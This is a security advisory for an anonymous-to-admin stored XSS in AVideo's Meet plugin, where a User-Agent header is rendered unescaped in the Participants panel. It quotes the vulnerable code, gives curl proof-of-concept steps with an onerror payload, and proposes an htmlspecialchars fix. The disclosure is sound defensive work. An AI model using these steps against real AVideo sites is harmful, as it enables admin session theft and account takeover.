AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel

Summary

The Meet plugin stores the raw HTTP User-Agent header of every meeting participant and later renders it without output encoding in the meeting-management ("Participants") panel that the meeting host and site administrators open. An anonymous, unauthenticated attacker can join any public meeting while sending a User-Agent header containing an HTML payload. The payload is persisted in meet_join_log.user_agent and, when the host or an administrator opens the participant list, is injected verbatim into their DOM, executing attacker-controlled JavaScript in a privileged, authenticated session. This is a cross-privilege stored XSS: an anonymous visitor obtains script execution in the administrator's browser.

Affected versions

WWBN/AVideo at current master commit e8d6119f3cb1b849149906efeb0a41fc024f59f8 (and prior releases shipping the same code path). Not patched at the time of this report.

Privilege required

• Writer (attacker): unauthenticated / anonymous. Joining a public meeting requires no account and no password.
• Victim (trigger): the meeting host or any site administrator who opens the meeting's participant-management panel.

Vulnerable code (file:line)

The stored value is never sanitized on write, then echoed without encoding on read.

Write path — plugin/Meet/Objects/Meet_join_log.php:147:

    public function setUser_agent($user_agent)
    {
        $this->user_agent = $user_agent;
    }

Write path — plugin/Meet/Objects/Meet_join_log.php:177:

    public static function log($meet_schedule_id)
    {
        $log = new Meet_join_log(0);
        $log->setIp(getRealIpAddr());
        $log->setMeet_schedule_id($meet_schedule_id);
        $log->setUser_agent((isMobile() ? "Mobile: " : "") . get_browser_name());
        $log->setUsers_id(User::getId());
        return $log->save();
    }

get_browser_name() (objects/functionsBrowser.php:239 and :242) returns the original-case User-Agent verbatim for any agent not matched to a known browser name:

        return '[Bot] Other '.$user_agent;
    }
    //_error_log("Unknow user agent ($t) IP=" . getRealIpAddr() . " URI=" . getRequestURI());
    return 'Other (Unknown) '.$user_agent;

Only the lowercased match copy is used for classification; the returned string still contains the raw, original $_SERVER['HTTP_USER_AGENT']. Because the value bypasses AVideo's object-setter sanitization layer (unlike Meet_schedule::setTopic(), which calls xss_esc()), the raw bytes reach the database unchanged.

Read path — plugin/Meet/getMeetInfo.json.php:71:

                        echo '<li class="list-group-item">#' . $count . " - " . User::getNameIdentificationById($value['users_id']) . ' <span class="badge">' . $value['created'] . '</span><br><small class="text-muted">' . $value['user_agent'] . '</small></li>';

$value['user_agent'] is concatenated into the HTML with no htmlspecialchars(). The reader endpoint is gated by Meet_schedule::canManageSchedule() (site admin OR the schedule owner), so the value is rendered in a privileged context.

How input reaches the sink

The join that records the log is reachable anonymously through plugin/Meet/iframe.php:11 and :17:

if (!Meet::validatePassword($meet_schedule_id, @$_REQUEST['meet_password'])) {
    header("Location: {$global['webSiteRootURL']}plugin/Meet/confirmMeetPassword.php?meet_schedule_id=$meet_schedule_id");
    exit;
}
$objLive = AVideoPlugin::getObjectData("Live");
Meet_join_log::log($meet_schedule_id);

For a public meeting (public = 2), Meet::validatePassword() returns true for an anonymous request (no password set), so Meet_join_log::log() runs and stores the attacker's User-Agent. On the read side, the host/admin opens the participant modal, whose JavaScript fetches getMeetInfo.json.php and injects the response with jQuery .html() in plugin/Meet/meet_scheduled.php:266:

                                                                success: function (response) {
                                                                    if (response.error) {
                                                                        avideoAlert("<?php echo __("Sorry!"); ?>", response.msg, "error");
                                                                    } else {
                                                                        $('#Meet_schedule2<?php echo $meet_scheduled, $manageMeetings; ?>Modal .modal-body').html(response.html);
                                                                    }

.html(response.html) parses and inserts the attacker-controlled markup, so the injected onerror handler executes in the host/admin DOM.

Proof of concept — end-to-end reproduction (against pinned version)

Deployed against the project's official Docker stack (php8.5/apache2.4 + mariadb), pinned commit e8d6119f3cb1b849149906efeb0a41fc024f59f8. <TARGET> is the deployed host.

# 1. As the admin, create a PUBLIC meeting (public=2, no password):
curl -sk -H 'Host: <TARGET>' -H "Cookie: $ADMIN_SESSION" -H 'Referer: https://<TARGET>/' \
  --data-urlencode 'RoomTopic=Demo' --data-urlencode 'public=2' --data-urlencode 'RoomPasswordNew=' \
  'https://<TARGET>/plugin/Meet/saveMeet.json.php'
# Response: {"error":false,"meet_schedule_id":1, ...}

# 2. As an ANONYMOUS attacker (no cookie), join the meeting while sending an HTML
#    payload in the User-Agent. The trailing token " http" forces get_browser_name()
#    into the raw-reflecting "[Bot] Other" branch.
curl -sk -H 'Host: <TARGET>' -H 'Referer: https://<TARGET>/' \
  -A '<img src=x onerror=alert(document.domain)> http' \
  'https://<TARGET>/plugin/Meet/iframe.php?meet_schedule_id=1&meet_password='
# HTTP 200. Stored row: meet_join_log.user_agent =
#   [Bot] Other <img src=x onerror=alert(document.domain)> http

# 3. As the host/admin, open the participant panel:
curl -sk -H 'Host: <TARGET>' -H "Cookie: $ADMIN_SESSION" -H 'Referer: https://<TARGET>/plugin/Meet/' \
  'https://<TARGET>/plugin/Meet/getMeetInfo.json.php?meet_schedule_id=1'

The JSON html field contains the payload unescaped:

<small class="text-muted">[Bot] Other <img src=x onerror=alert(document.domain)> http</small>

When the admin opens the participant modal in a browser, jQuery .html(response.html) injects this markup and the onerror handler executes in the admin's authenticated session, printing document.domain.

Negative control: joining with a benign browser User-Agent (Mozilla/5.0 (Windows NT 10.0) Chrome/120.0 Safari/537.36) causes get_browser_name() to return Chrome, which renders as plain text <small class="text-muted">Chrome</small> with no markup injection.

Impact

• Cross-privilege stored XSS: an unauthenticated, anonymous visitor achieves JavaScript execution in the meeting host's and site administrator's authenticated browser sessions.
• Full account-takeover surface: theft of the admin session, CSRF-token exfiltration, and arbitrary authenticated actions (user and permission changes, plugin configuration) performed as the administrator.
• The payload persists in the database and fires for every privileged user who reviews the participant list of the affected meeting.

Suggested fix

Encode the stored value at the sink in plugin/Meet/getMeetInfo.json.php:71:

. '</span><br><small class="text-muted">' . htmlspecialchars($value['user_agent'], ENT_QUOTES, 'UTF-8') . '</small></li>';

Defense in depth: sanitize the value on write in Meet_join_log::setUser_agent(), mirroring the setter-layer encoding used by Meet_schedule::setTopic() (xss_esc()), so any other current or future reader of meet_join_log.user_agent is also protected.

Fix PR

A fix is provided on the advisory's private temporary fork: WWBN/AVideo-ghsa-7cqp-7cfv-6c3q#1 (encodes the participant User-Agent at the sink with htmlspecialchars($value['user_agent'], ENT_QUOTES, 'UTF-8')).

Credit

Reported by tonghuaroot.